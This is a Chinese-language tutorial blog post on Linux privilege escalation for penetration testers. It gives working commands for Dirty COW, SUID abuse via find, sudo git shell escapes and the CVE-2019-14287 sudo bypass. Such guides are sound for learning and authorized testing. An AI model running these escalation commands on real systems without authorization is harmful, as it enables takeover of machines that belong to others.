Linux提权

0x00 前言

渗透测试过程中,拿到低权限shell后,要进一步操作往往需要进行提权。

0x01 常见Linux提权方法

  • 内核版本漏洞提权
  • SUID提权
  • git提权
  • sudo提权(CVE-2019-14287)

0x02 Linux提权前的信息收集

1.查看内核版本

uname -a

2.查看发行版本

cat /etc/issue
cat /etc/*-release

0x03 内核漏洞提权

1.脏牛漏洞提权

低权限用户利用该漏洞技术可以在全版本上实现本地提权

漏洞利用条件:内核版本>=2.6.22

exp下载地址:https://github.com/FireFart/dirtycow

本地复现:

1.查看内核版本

2.将exp放到/tmp目录下(tmp目录权限较高)

 3.对dirty.c进行gcc编译生成一个可执行文件

gcc -pthread dirty.c -o dirty -lcryp

4.运行dirty文件即可进行本地提取

./dirty passwd

几分钟后出现如下结果

 

 此时切换到firefart用户,密码为passwd

可以看到已经是root用户

2.其他内核版本提权

在linux的内核版本不满足脏牛提权的条件时,就需要查看其他版本的内核漏洞。在搜集了目标机器的内核版本后,可以使用searchsploit搜寻各种发行版本的漏洞。

查询一个CentOS 7 内核版本为3.10的内核漏洞

searchspolit centos 7 kernel 3.10

随后需要打开exp查看具体要求,选择和合适的进行利用

最后将合适的exp放到靶机上编译后执行

内核漏洞提权对内核版本、目标机器的环境要求较高(需要安装gcc),所以成功率一般较低。

0x04 SUID提权

SUID(Set User ID):是一种特殊的文件属性,允许用户在指令执行时,拥有文件拥有者的权限

SUID提权:运行root用户拥有的SUID文件,即可获得root用户权限

常见的可用于SUID提权的文件有

find、bash、nmap、vim、more、less、nano、cp 

一般拿到shell后,首先查找下具有root权限的SUID文件

find / -perm -u=s -type f 2>/dev/null

1.find提权

先看看find的权限

确实是root权限

随后执行以下命令进行提权

touch test    //创建一个test文件
find test -exec '/bin/sh' ;

可以看到成功提升到root权限

0x05 git提权

首先查看可以无密码使用root权限的命令

sudo -l    #查看可以使用root权限无密码的命令

发现有git命令

执行命令进行提权

sudo git help config  #提权
!/bin/sh

成功切换到root权限

0x06 sudo提权(比较鸡肋)

sudo提权是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标Linux系统上以root身份执行任意命令

使用sudo提权需要满足两个条件

1.执行sudo -V的到的版本<1.8.28

2.配置文件中需要有特定配置

配置文件/etc/sudoers中使用ALL关键词

test ALL=(ALL,!root) ALL    //表示test用户可以使用sudo命令,以除了root以外的任意身份去执行命令

切换到test用户下执行命令

sudo -u#-1 id

将用户ID转换为用户名的函数会将-1误认为0,正好是root用户的User ID

成功切换到root用户

原文地址:https://www.cnblogs.com/Cl0wn/p/12911902.html